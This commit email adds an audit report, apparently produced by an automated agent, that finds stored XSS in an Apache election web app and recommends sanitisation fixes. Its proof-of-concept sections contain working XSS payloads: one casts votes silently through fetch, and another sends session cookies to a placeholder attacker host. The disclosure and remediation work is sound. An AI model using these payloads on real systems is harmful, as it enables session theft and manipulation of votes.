You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@tooling.apache.org by as...@apache.org on 2026/04/21 08:05:15 UTC
(tooling-agents) branch main updated: ASVS L1 audit: 1.3.1 (web_input_validation)
This is an automated email from the ASF dual-hosted git repository.
asf-tooling pushed a commit to branch main
in repository https://gitbox.apache.org/repos/asf/tooling-agents.git
The following commit(s) were added to refs/heads/main by this push:
new 980cdd6 ASVS L1 audit: 1.3.1 (web_input_validation)
980cdd6 is described below
commit 980cdd619647cbee1aca76d85a87de93d3b5e519
Author: ASF Tooling Team <ro...@apache.org>
AuthorDate: Tue Apr 21 10:05:11 2026 +0200
ASVS L1 audit: 1.3.1 (web_input_validation)
---
.../steve/d0aa7e9/web_input_validation/1.3.1.md | 622 +++++++++++++++++++++
1 file changed, 622 insertions(+)
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.3.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.3.1.md
new file mode 100644
index 0000000..75be331
--- /dev/null
+++ b/repos/apache/ASVS/reports/steve/d0aa7e9/web_input_validation/1.3.1.md
@@ -0,0 +1,622 @@
+# ASVS 1.3.1 Security Audit Report
+
+## Executive Summary
+
+**Audit Metadata:**
+- **Repository:** apache/steve
+- **Audit Date:** Apr 21, 2026
+- **Auditor:** Tooling Agents
+- **ASVS Requirement:** 1.3.1 — Verify that all untrusted HTML input from WYSIWYG editors or similar is sanitized using a well-known and secure HTML sanitization library or framework feature.
+- **ASVS Level:** 1
+- **Section:** Sanitization
+- **Chapter:** Encoding and Sanitization
+
+**Files Analyzed:** 20 relevant out of 20 total, 0 skipped
+
+**Finding Summary:**
+
+| Severity | Count | Status |
+|----------|-------|--------|
+| Critical | 2 | ❌ FAIL |
+| High | 0 | — |
+| Medium | 0 | — |
+| Low | 0 | — |
+| **Total** | **2** | **❌ FAIL** |
+
+**Overall Verdict:** ❌ **DOES NOT COMPLY** with ASVS 1.3.1
+
+The audit reveals **CRITICAL** stored cross-site scripting (XSS) vulnerabilities stemming from the complete absence of HTML sanitization for user-supplied election/issue content. The EZT templating system does **not** auto-escape HTML, and the codebase explicitly constructs HTML from untrusted input without any sanitization library. The EZT `[format "html"]` escape mechanism exists and is used in JavaScript attribute contexts within the same templates, but is **not applied** when renderi [...]
+
+---
+
+## Security Controls Inventory
+
+### Available Controls
+
+| Control | Defined? | Location | Applied Consistently? | Notes |
+|---------|----------|----------|----------------------|-------|
+| EZT `[format "html"]` escaping | ✅ Yes | EZT templating engine | ❌ **Only in JS onclick attributes, NOT in HTML body** | Context-specific encoding available but not used |
+| EZT `[format "js,html"]` escaping | ✅ Yes | `manage.ezt`, `manage-stv.ezt` | ✅ For JS attribute contexts only | Correctly applied in JavaScript contexts |
+| HTML sanitization library | ❌ **None** | N/A | N/A | **No sanitization library present in codebase** |
+| `rewrite_description()` | ✅ Defined | `pages.py` ~line 54 | ❌ **Constructs raw HTML from user input without sanitization** | Intentionally generates HTML without safety measures |
+| Client-side `escapeHtml()` | ✅ Yes | `vote-on.ezt` JS | ✅ For dynamically generated candidate names in STV modal | Limited scope, client-side only |
+
+### Coverage Analysis by Data Field
+
+| Data Field | Entry Points (Write) | Render Points (Read) | Sanitized at Write? | Escaped at Render? | Risk Level |
+|------------|---------------------|---------------------|--------------------|--------------------|------------|
+| Election Title | `do_create_endpoint` | `admin.ezt`, `voter.ezt`, `manage.ezt`, `manage-stv.ezt`, `vote-on.ezt` | ❌ No | ❌ No | **CRITICAL** |
+| Issue Title | `do_add_issue_endpoint`, `do_edit_issue_endpoint` | `manage.ezt`, `manage-stv.ezt`, `vote-on.ezt` | ❌ No | **Partial**: JS contexts only | **CRITICAL** |
+| Issue Description | `do_add_issue_endpoint`, `do_edit_issue_endpoint` | `manage.ezt`, `manage-stv.ezt`, `vote-on.ezt` | ❌ No | **Partial**: JS contexts only | **CRITICAL** |
+| Flash Messages (containing titles) | Multiple `flash_success()` calls | `flashes.ezt` | ❌ No | ❌ No | **CRITICAL** |
+
+---
+
+## Critical File Review
+
+### High-Risk Files
+
+| File | Risk Level | Functions/Sections Reviewed | Key Concern | Verdict |
+|------|------------|----------------------------|-------------|---------|
+| `v3/server/pages.py` | **CRITICAL** | `rewrite_description()` (~line 54-61)<br>`do_create_endpoint()` (~line 405)<br>`do_add_issue_endpoint()` (~line 466)<br>`do_edit_issue_endpoint()` (~line 485) | `rewrite_description()` constructs HTML without sanitization; no input sanitization on any endpoint | ❌ Fails ASVS 1.3.1 |
+| `v3/server/templates/vote-on.ezt` | **CRITICAL** | All `[issues.description]` references<br>All `[issues.title]` references<br>`[election.title]` reference | Renders `[issues.description]` (post-`rewrite_description` HTML) and `[issues.title]` without escaping | ❌ Fails ASVS 1.3.1 |
+| `v3/server/templates/manage.ezt` | **CRITICAL** | All `[issues.description]` references<br>All `[issues.title]` references<br>`[e_title]` reference | Renders `[issues.description]` and `[issues.title]` without escaping in HTML body; uses `[format "js,html"]` only in JS attributes | ❌ Fails ASVS 1.3.1 |
+| `v3/server/templates/manage-stv.ezt` | **CRITICAL** | All `[issues.description]` references<br>All `[issues.title]` references | Same pattern as manage.ezt | ❌ Fails ASVS 1.3.1 |
+| `v3/server/templates/voter.ezt` | **CRITICAL** | `[open_elections.title]` references | Renders election titles without escaping | ❌ Fails ASVS 1.3.1 |
+| `v3/server/templates/admin.ezt` | **CRITICAL** | `[owned.title]` references | Renders election titles without escaping | ❌ Fails ASVS 1.3.1 |
+| `v3/server/templates/flashes.ezt` | **CRITICAL** | `[flashes.message]` references | Renders flash messages (containing user input) without escaping | ❌ Fails ASVS 1.3.1 |
+
+### Medium-Risk Files
+
+| File | Risk Level | Functions/Sections Reviewed | Key Concern | Verdict |
+|------|------------|----------------------------|-------------|---------|
+| `v3/server/templates/e_bad_eid.ezt` | MEDIUM | `[eid]` references | Renders `[eid]` — controlled but validated hex ID | ✅ Acceptable |
+
+### Low-Risk Files
+
+| File | Risk Level | Functions/Sections Reviewed | Key Concern | Verdict |
+|------|------------|----------------------------|-------------|---------|
+| `v3/steve/election.py` | LOW | All storage functions | Backend storage layer; no sanitization responsibility expected | N/A |
+| `v3/server/templates/header.ezt` | LOW | `[name]` references | Renders `[name]` from session (trusted source) | ✅ Acceptable |
+
+---
+
+## Findings
+
+### Critical Severity
+
+#### ASVS-131-CRT-001: Stored XSS via Unsanitized Issue Descriptions Rendered as Raw HTML
+
+**Severity:** CRITICAL
+**CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
+**Gap Type:** Type B — Control EXISTS (`[format "html"]`) but NOT CALLED at HTML body render points
+
+**Location:**
+- **File:** `v3/server/pages.py`
+- **Function:** `rewrite_description()`
+- **Lines:** ~54-61 (sink - HTML construction without sanitization)
+- **Related Files:**
+ - `v3/server/templates/vote-on.ezt` (sink - unescaped HTML body rendering)
+ - `v3/server/templates/manage.ezt` (sink - unescaped HTML body rendering)
+ - `v3/server/templates/manage-stv.ezt` (sink - unescaped HTML body rendering)
+- **Source Functions:**
+ - `do_add_issue_endpoint()` at line ~466 (`form.description`)
+ - `do_edit_issue_endpoint()` at line ~485 (`form.description`)
+
+**Related Functions Checked:**
+- ✅ `rewrite_description()` — Constructs HTML without sanitization
+- ✅ `do_add_issue_endpoint()` — Accepts user input without sanitization
+- ✅ `do_edit_issue_endpoint()` — Accepts user input without sanitization
+- ✅ `list_issues()` — Retrieves and processes issues
+- ✅ All template rendering of `[issues.description]` — No escaping applied
+
+**Description:**
+
+The application accepts untrusted HTML input in issue descriptions and renders it without sanitization. The `rewrite_description()` function explicitly constructs HTML from user-controlled content by wrapping descriptions in `<pre>` tags and converting `doc:` references to anchor tags, but performs no HTML sanitization or escaping. The EZT templating system does not auto-escape HTML, and while the `[format "html"]` escape mechanism exists and is correctly used in JavaScript attribute con [...]
+
+**Vulnerable Code:**
+
+```python
+# v3/server/pages.py, lines ~54-61
+def rewrite_description(issue):
+ """Rewrite issue description: wrap in <pre> and convert doc:filename to links."""
+ import re
+ desc = issue.description # <-- user-controlled, from database
+ def repl(match):
+ filename = match.group(1)
+ return f'<a href="/docs/{issue.iid}/{filename}">{filename}</a>' # <-- raw HTML construction
+ desc = re.sub(r'doc:([^\s]+)', repl, desc)
+ issue.description = f'<pre>{desc}</pre>' # <-- wraps unsanitized content in HTML
+```
+
+```html
+<!-- manage.ezt: ESCAPED in JS context (control exists) -->
+onclick="openEditIssueModal('[issues.iid]',
+ '[format "js,html"][issues.title][end]',
+ '[format "js,html"][issues.description][end]')"
+
+<!-- manage.ezt: NOT ESCAPED in HTML body (control not called) -->
+<strong>[issues.title]</strong>
+...
+<div id="description-[issues.iid]" class="description mt-2">[issues.description]</div>
+```
+
+**Data Flow:**
+
+```
+POST /do-add-issue/<eid>
+ └─> form.description (attacker-controlled)
+ └─> election.add_issue(form.title, form.description, ...) [pages.py ~468]
+ └─> c_add_issue.perform(..., description, ...) [election.py ~202]
+ └─> stored in SQLite issue table (UNSANITIZED)
+
+GET /vote-on/<eid> (by victim voter)
+ └─> election.list_issues() [pages.py ~254]
+ └─> rewrite_description(issue) [pages.py ~261]
+ └─> wraps in <pre>, converts doc: links, NO HTML ESCAPING
+ └─> rendered as [issues.description] in vote-on.ezt
+ └─> RAW HTML OUTPUT to victim's browser
+```
+
+**Proof of Concept:**
+
+An authenticated committer (election owner) creates an issue with malicious description:
+
+```http
+POST /do-add-issue/abcdef0123 HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+Cookie: [valid session]
+
+title=Normal+Looking+Title&description=<img+src=x+onerror="fetch('/do-vote/'+document.querySelector('[name^=vote-]').name.split('-')[1],{method:'POST',body:new+URLSearchParams({['vote-'+document.querySelector('[name^=vote-]').name.split('-')[1]]:'y'}),credentials:'same-origin'})">
+```
+
+When any voter visits `/vote-on/abcdef0123`, the description renders as:
+
+```html
+<pre><img src=x onerror="fetch('/do-vote/...',{method:'POST',...})"></pre>
+```
+
+The injected JavaScript executes in the victim's browser context and silently submits votes on their behalf.
+
+**Impact:**
+
+- **Vote manipulation:** Attacker can submit or modify votes for any voter who views the election page
+- **Session hijacking:** Attacker can exfiltrate session cookies of voters and election administrators
+- **Privilege escalation:** If a higher-privileged user (PMC member) views the page, their session can be stolen
+- **Election integrity compromise:** In a voting system, XSS that can manipulate ballots undermines the entire purpose of the application
+- **Compliance violation:** Direct violation of ASVS 1.3.1 requirement for HTML sanitization
+
+**Remediation:**
+
+**Option A (Recommended): Use a server-side HTML sanitization library**
+
+Since `rewrite_description` intentionally constructs HTML (converting `doc:` references to links), a well-known HTML sanitization library must be used to allow only safe HTML elements:
+
+```python
+import bleach # or nh3, or similar well-known library
+
+ALLOWED_TAGS = ['pre', 'a']
+ALLOWED_ATTRIBUTES = {'a': ['href']}
+ALLOWED_PROTOCOLS = ['https', 'http']
+
+def rewrite_description(issue):
+ """Rewrite issue description: sanitize, wrap in <pre>, convert doc:filename to links."""
+ import re
+ # First, escape all HTML in the raw description
+ desc = bleach.clean(issue.description, tags=[], strip=True)
+ # Then apply the doc: link conversion on the now-safe text
+ def repl(match):
+ filename = match.group(1)
+ return f'<a href="/docs/{issue.iid}/{filename}">{filename}</a>'
+ desc = re.sub(r'doc:([^\s]+)', repl, desc)
+ # Wrap in <pre>, then sanitize the final result allowing only safe tags
+ issue.description = bleach.clean(
+ f'<pre>{desc}</pre>',
+ tags=ALLOWED_TAGS,
+ attributes=ALLOWED_ATTRIBUTES,
+ protocols=ALLOWED_PROTOCOLS,
+ )
+```
+
+**Option B: Apply EZT HTML escaping consistently in all templates**
+
+For templates that render issue descriptions without the `rewrite_description` processing (manage.ezt, manage-stv.ezt), use EZT format escaping:
+
+```html
+<!-- Replace all unescaped renders -->
+<strong>[format "html"][issues.title][end]</strong>
+<div class="description mt-2">[format "html"][issues.description][end]</div>
+```
+
+**Note:** Option B alone is insufficient for `vote-on.ezt` because `rewrite_description` intentionally produces HTML that must not be escaped. **Option A is required for full remediation.**
+
+---
+
+#### ASVS-131-CRT-002: Stored XSS via Unsanitized Election Titles in All Listing Templates
+
+**Severity:** CRITICAL
+**CWE:** CWE-79 (Improper Neutralization of Input During Web Page Generation)
+**Gap Type:** Type A — Entry point with NO control
+
+**Location:**
+- **File:** `v3/server/pages.py`
+- **Function:** `do_create_endpoint()`
+- **Line:** ~405 (source - user input)
+- **Related Files:**
+ - `v3/server/templates/admin.ezt` (sink)
+ - `v3/server/templates/voter.ezt` (sink)
+ - `v3/server/templates/manage.ezt` (sink)
+ - `v3/server/templates/vote-on.ezt` (sink)
+ - `v3/server/templates/flashes.ezt` (sink)
+
+**Related Functions Checked:**
+- ✅ `do_create_endpoint()` — Accepts user input without sanitization
+- ✅ `flash_success()` — Embeds raw user input in flash messages
+- ✅ `Election.create()` — Stores unsanitized title
+- ✅ `Election.open_to_pid()` — Retrieves unsanitized titles
+- ✅ All template rendering of election titles — No escaping applied
+
+**Description:**
+
+Election titles are accepted from user input without any HTML sanitization and rendered across multiple templates without escaping. The vulnerability affects all users who can view election listings, including voters, election owners, and administrators. Flash messages that embed election titles compound the issue by creating additional XSS vectors.
+
+**Vulnerable Code:**
+
+```python
+# v3/server/pages.py, do_create_endpoint (~line 405)
+form = edict(await quart.request.form)
+election = steve.election.Election.create(DB_FNAME, form.title, result.uid)
+# form.title stored directly, no sanitization
+
+# Later, flash message embeds raw title:
+await flash_success(f'Created election: {form.title}')
+```
+
+```html
+<!-- voter.ezt - rendered to ALL voters eligible for this election -->
+<h5 class="card-title mb-3">[open_elections.title]</h5>
+
+<!-- admin.ezt - rendered to election owner -->
+<h5 class="card-title">[owned.title]</h5>
+
+<!-- flashes.ezt - rendered unescaped -->
+[flashes.message]
+```
+
+**Data Flow:**
+
+```
+POST /do-create-election
+ └─> form.title (attacker-controlled: '<img src=x onerror=alert(1)>')
+ └─> Election.create(DB_FNAME, form.title, ...) [pages.py ~405]
+ └─> stored in SQLite metadata table (UNSANITIZED)
+ └─> flash_success(f'Created election: {form.title}') [pages.py ~410]
+ └─> stored in session flash (UNSANITIZED)
+
+GET /voter (by any eligible voter)
+ └─> Election.open_to_pid(DB_FNAME, result.uid) [pages.py ~147]
+ └─> returns election with unsanitized title
+ └─> rendered as [open_elections.title] in voter.ezt
+ └─> RAW HTML OUTPUT in <h5> tag
+```
+
+**Proof of Concept:**
+
+```http
+POST /do-create-election HTTP/1.1
+Content-Type: application/x-www-form-urlencoded
+Cookie: [valid PMC member session]
+
+title=Board+Election+2025<script>document.location='https://evil.example/steal?c='+document.cookie</script>
+```
+
+All voters viewing the `/voter` page will have their sessions stolen when the malicious election title is rendered.
+
+**Impact:**
+
+- **Vote manipulation:** Attacker can submit or modify votes for any voter who views election listings
+- **Session hijacking:** Attacker can exfiltrate session cookies of all voters and administrators
+- **Privilege escalation:** Compromised PMC member sessions can be used to create additional malicious elections
+- **Election integrity compromise:** Broader reach than ASVS-131-CRT-001 as election titles appear on listing pages viewed by ALL eligible voters
+- **Compliance violation:** Direct violation of ASVS 1.3.1 requirement for HTML sanitization
+
+**Remediation:**
+
+**Step 1: Apply EZT HTML escaping in all templates**
+
+```html
+<!-- voter.ezt -->
+<h5 class="card-title mb-3">[format "html"][open_elections.title][end]</h5>
+
+<!-- admin.ezt -->
+<h5 class="card-title">[format "html"][owned.title][end]</h5>
+
+<!-- manage.ezt -->
+<h2>[format "html"][e_title][end]</h2>
+
+<!-- vote-on.ezt -->
+<h1 class="h4 mb-0 fw-semibold">[format "html"][election.title][end]</h1>
+
+<!-- flashes.ezt -->
+[format "html"][flashes.message][end]
+```
+
+**Step 2: Sanitize at input boundary (defense-in-depth)**
+
+```python
+import html
+
+@APP.post('/do-create-election')
+@asfquart.auth.require({R.pmc_member})
+async def do_create_endpoint():
+ result = await basic_info()
+ form = edict(await quart.request.form)
+
+ # Sanitize title - strip all HTML
+ clean_title = html.escape(form.title.strip())
+ election = steve.election.Election.create(DB_FNAME, clean_title, result.uid)
+ await flash_success(f'Created election: {html.escape(clean_title)}')
+ return quart.redirect(f'/manage/{election.eid}')
+```
+
+---
+
+## Positive Security Patterns
+
+Despite the critical vulnerabilities identified, the codebase demonstrates several security-conscious practices:
+
+1. **Context-Aware Escaping in JavaScript Contexts**
+ - **Location:** `manage.ezt`, `manage-stv.ezt`
+ - **Pattern:** Correct use of `[format "js,html"]` when embedding issue titles and descriptions into JavaScript `onclick` attributes
+ - **Significance:** Demonstrates awareness of context-specific encoding requirements and proper implementation where applied
+
+2. **Client-Side HTML Escaping Function**
+ - **Location:** `vote-on.ezt` JavaScript
+ - **Pattern:** Proper `escapeHtml()` function used when dynamically generating candidate names in the STV modal
+ - **Code:**
+ ```javascript
+ function escapeHtml(text) {
+ const div = document.createElement('div');
+ div.textContent = text;
+ return div.innerHTML;
+ }
+ ```
+ - **Significance:** Shows understanding of XSS prevention in dynamic content generation
+
+3. **Secure File Serving**
+ - **Location:** Throughout `pages.py`
+ - **Pattern:** Use of Quart's `send_from_directory()` for static files and documents
+ - **Significance:** Prevents path traversal vulnerabilities
+
+4. **Authentication and Authorization**
+ - **Location:** All sensitive endpoints
+ - **Pattern:** Consistent use of `@asfquart.auth.require` decorator
+ - **Significance:** Ensures only authenticated users with appropriate roles can access protected functionality
+
+5. **Subresource Integrity (SRI)**
+ - **Location:** Template files referencing external resources
+ - **Pattern:** `integrity` attributes on external JavaScript and CSS resources
+ - **Significance:** Prevents compromise via third-party CDN attacks
+
+---
+
+## Architecture Observations
+
+### Architectural Security Concerns
+
+1. **Unsafe-by-Default Template Engine**
+ - **Issue:** EZT templating does not auto-escape HTML output
+ - **Implication:** Every template variable must be manually escaped using `[format "html"]`, making XSS vulnerabilities the default rather than the exception
+ - **Industry Standard:** Modern frameworks (Jinja2, Django templates, React) auto-escape by default
+ - **Risk:** High cognitive load on developers; easy to miss escaping requirements
+
+2. **Absence of HTML Sanitization Infrastructure**
+ - **Issue:** No HTML sanitization library present in dependencies (`requirements.txt`)
+ - **Implication:** No established pattern for handling rich text input that requires HTML
+ - **Missing Libraries:** `bleach`, `nh3`, `html-sanitizer`, or similar well-known libraries
+ - **Risk:** Developers resort to manual HTML construction without safety measures
+
+3. **Inconsistent Escaping Strategy**
+ - **Issue:** Mixed application of escaping controls across the codebase
+ - **Pattern:** `[format "js,html"]` correctly used in JavaScript contexts but absent in HTML body contexts
+ - **Implication:** False sense of security; developers may believe escaping is handled when it's only partial
+ - **Risk:** Type B gaps (control exists but not consistently applied)
+
+4. **Server-Side HTML Construction**
+ - **Issue:** `rewrite_description()` function intentionally constructs HTML from user input
+ - **Implication:** Output escaping alone cannot solve the problem; sanitization is required
+ - **Pattern:** Mixing trusted and untrusted HTML without clear boundaries
+ - **Risk:** Bypasses output encoding as a defense mechanism
+
+### Positive Architectural Elements
+
+1. **Clear Authentication Boundaries**
+ - Decorator-based authentication (`@asfquart.auth.require`) provides clear security boundaries
+ - Role-based access control properly enforced
+
+2. **Separation of Concerns**
+ - Clear separation between data layer (`election.py`, `persondb.py`) and presentation layer (`pages.py`, templates)
+ - Facilitates focused security improvements
+
+---
+
+## Recommendations Summary
+
+### Immediate Actions (Within 24-48 Hours)
+
+1. **Deploy Emergency Patch for Election Titles**
+ - **Action:** Apply `[format "html"]` escaping to all election title renders in `voter.ezt`, `admin.evt`, `manage.ezt`, `vote-on.ezt`, and `flashes.ezt`
+ - **Effort:** 1-2 hours
+ - **Impact:** Mitigates ASVS-131-CRT-002
+ - **Code Change:**
+ ```html
+ <!-- Replace all instances -->
+ [open_elections.title] → [format "html"][open_elections.title][end]
+ ```
+
+2. **Deploy Emergency Patch for Issue Titles**
+ - **Action:** Apply `[format "html"]` escaping to all issue title renders in HTML body contexts
+ - **Effort:** 1 hour
+ - **Impact:** Partially mitigates ASVS-131-CRT-001
+ - **Code Change:**
+ ```html
+ <!-- Replace all instances -->
+ [issues.title] → [format "html"][issues.title][end]
+ ```
+
+3. **Disable Rich Text in Issue Descriptions (Temporary)**
+ - **Action:** Comment out `rewrite_description()` processing and apply `[format "html"]` to `[issues.description]`
+ - **Effort:** 30 minutes
+ - **Impact:** Temporarily mitigates ASVS-131-CRT-001 (breaks `doc:` link feature)
+ - **Note:** This is a temporary measure until proper sanitization is implemented
+
+### Short-Term Actions (Within 1-2 Weeks)
+
+4. **Implement HTML Sanitization Library**
+ - **Action:** Add `bleach` or `nh3` to `requirements.txt` and integrate into `rewrite_description()`
+ - **Effort:** 4-8 hours (including testing)
+ - **Impact:** Fully remediates ASVS-131-CRT-001
+ - **Reference:** See remediation code in ASVS-131-CRT-001
+
+5. **Comprehensive Template Audit**
+ - **Action:** Create inventory of all `[variable]` references in `.ezt` templates; verify escaping for each
+ - **Effort:** 8-16 hours
+ - **Deliverable:** Spreadsheet mapping every template variable to its source and escaping status
+ - **Impact:** Identifies any additional XSS vectors
+
+6. **Input Sanitization at Entry Points**
+ - **Action:** Add `html.escape()` sanitization in all form input handlers as defense-in-depth
+ - **Effort:** 4-8 hours
+ - **Impact:** Prevents stored XSS even if output escaping is missed
+ - **Code Change:**
+ ```python
+ import html
+ clean_title = html.escape(form.title.strip())
+ clean_description = html.escape(form.description.strip())
+ ```
+
+7. **Automated Security Testing**
+ - **Action:** Add XSS test cases to test suite covering all user input fields
+ - **Effort:** 8-16 hours
+ - **Deliverable:** Automated tests that fail if XSS vulnerabilities are introduced
+ - **Tools:** Consider integrating OWASP ZAP or similar for automated scanning
+
+### Long-Term Actions (Within 1-3 Months)
+
+8. **Migrate to Auto-Escaping Template Engine**
+ - **Action:** Evaluate and plan migration from EZT to Jinja2 (with `autoescape=True`)
+ - **Effort:** 40-80 hours (significant refactoring)
+ - **Impact:** Makes secure output encoding the default; eliminates entire class of vulnerabilities
+ - **Justification:** EZT's unsafe-by-default model is fundamentally incompatible with secure web development
+
+9. **Security-Focused Code Review Process**
+ - **Action:** Establish mandatory security review checklist for all template and form handling changes
+ - **Effort:** 8 hours (process definition) + ongoing
+ - **Deliverable:** Security review checklist, training materials
+ - **Impact:** Prevents future XSS vulnerabilities
+
+10. **Content Security Policy (CSP) Implementation**
+ - **Action:** Implement strict CSP headers to mitigate impact of any future XSS vulnerabilities
+ - **Effort:** 16-24 hours (including testing for inline script compatibility)
+ - **Impact:** Defense-in-depth measure that limits XSS exploitation
+ - **Recommended Policy:**
+ ```
+ Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; object-src 'none'
+ ```
+
+---
+
+## Appendix: Files Analyzed
+
+<details>
+<summary><strong>Click to expand full file list (20 files)</strong></summary>
+
+### Python Backend Files
+1. **`v3/server/api.py`** (relevance: 10/10)
+ - API endpoint handlers
+ - Reviewed for input validation and output encoding
+
+2. **`v3/server/pages.py`** (relevance: 10/10)
+ - Primary web application logic
+ - Contains vulnerable `rewrite_description()` function
+ - All form handling endpoints reviewed
+
+3. **`v3/steve/election.py`** (relevance: 10/10)
+ - Election data model and storage
+ - Database interaction layer
+
+4. **`v3/steve/persondb.py`** (relevance: 10/10)
+ - Person/voter data model
+ - User authentication data
+
+### EZT Template Files
+5. **`v3/server/templates/about.ezt`** (relevance: 10/10)
+ - About page template
+ - Reviewed for user-controlled data rendering
+
+6. **`v3/server/templates/admin.ezt`** (relevance: 10/10)
+ - Election administration interface
+ - **Contains ASVS-131-CRT-002 vulnerability** (unescaped election titles)
+
+7. **`v3/server/templates/e_bad_eid.ezt`** (relevance: 10/10)
+ - Error page for invalid election IDs
+ - Reviewed for reflected XSS
+
+8. **`v3/server/templates/e_bad_iid.ezt`** (relevance: 10/10)
+ - Error page for invalid issue IDs
+ - Reviewed for reflected XSS
+
+9. **`v3/server/templates/e_bad_pid.ezt`** (relevance: 10/10)
+ - Error page for invalid person IDs
+ - Reviewed for reflected XSS
+
+10. **`v3/server/templates/flashes.ezt`** (relevance: 10/10)
+ - Flash message rendering component
+ - **Contains ASVS-131-CRT-002 vulnerability** (unescaped flash messages containing user input)
+
+11. **`v3/server/templates/footer.ezt`** (relevance: 10/10)
+ - Page footer component
+ - Reviewed for user-controlled data rendering
+
+12. **`v3/server/templates/header.ezt`** (relevance: 10/10)
+ - Page header component
+ - Reviewed for session data rendering
+
+13. **`v3/server/templates/home.ezt`** (relevance: 10/10)
+ - Home page template
+ - Reviewed for user-controlled data rendering
+
+14. **`v3/server/templates/manage-stv.ezt`** (relevance: 10/10)
+ - STV election management interface
+ - **Contains ASVS-131-CRT-001 vulnerability** (unescaped issue titles and descriptions)
+
+15. **`v3/server/templates/manage.ezt`** (relevance: 10/10)
+ - Standard election management interface
+ - **Contains ASVS-131-CRT-001 and ASVS-131-CRT-002 vulnerabilities**
+
+16. **`v3/server/templates/privacy.ezt`** (relevance: 10/10)
+ - Privacy policy page
+ - Reviewed for user-controlled data rendering
+
+17. **`v3/server/templates/profile.ezt`** (relevance: 10/10)
+ - User profile page
+ - Reviewed for user-controlled data rendering
+
+18. **`v3/server/templates/settings.ezt`** (relevance: 10/10)
+ - Application settings interface
+ - Reviewed for user-controlled data rendering
+
+19. **`v3/server/templates/vote-on.ezt`** (relevance: 10/10)
+ - Voting interface (primary user-facing page)
+ - **Contains ASVS-131-CRT-001 and ASVS-131-CRT-002 vulnerabilities**
+ - Most critical template from security perspective
+
+20. **`v3/server/templates/voter.ezt`** (relevance: 10/10)
+ - Voter dashboard showing available elections
+ - **Contains ASVS-131-CRT-002 vulnerability** (unescaped election titles)
+
+</details>
+
+---
+
+**End of Report**
\ No newline at end of file
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@tooling.apache.org
For additional commands, e-mail: commits-help@tooling.apache.org